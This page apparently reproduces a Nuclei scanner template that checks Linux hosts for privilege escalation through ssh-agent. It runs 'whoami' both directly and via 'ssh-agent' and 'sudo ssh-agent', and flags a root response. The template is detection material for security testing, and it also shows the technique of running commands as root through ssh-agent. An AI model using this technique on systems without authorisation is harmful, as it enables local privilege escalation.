privesc-ssh-agent: ssh-agent - Privilege Escalation

2025-08-01 ssh-agent PoC Public

Description

ssh-agent is a program that helps manage and store private keys used for SSH authentication. It is often used to hold the decrypted private keys in memory, allowing for seamless authentication to remote servers without the need to re-enter passphrases for the keys.

PoC

id: privesc-ssh-agent

info:
  name: ssh-agent - Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    ssh-agent is a program that helps manage and store private keys used for SSH authentication. It is often used to hold the decrypted private keys in memory, allowing for seamless authentication to remote servers without the need to re-enter passphrases for the keys.
  reference:
    - https://gtfobins.github.io/gtfobins/ssh-agent/
  metadata:
    verified: true
    max-request: 3
  tags: code,linux,ssh-agent,privesc,local

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      whoami

  - engine:
      - sh
      - bash
    source: |
      ssh-agent whoami

  - engine:
      - sh
      - bash
    source: |
      sudo ssh-agent whoami

    matchers-condition: and
    matchers:
      - type: word
        part: code_1_response
        words:
          - "root"
        negative: true

      - type: dsl
        dsl:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
        condition: or
# digest: 4a0a0047304502204e2fb64b9b5adb5fcdf7db3b287f52fef8feb7a65d1908b39e58e00c345c8514022100c16edc7143fda13e12eed4dbce5115586cc5afb90980f6fc42e35204df70316b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/code/privilege-escalation/linux/binary/privesc-ssh-agent.yaml

References

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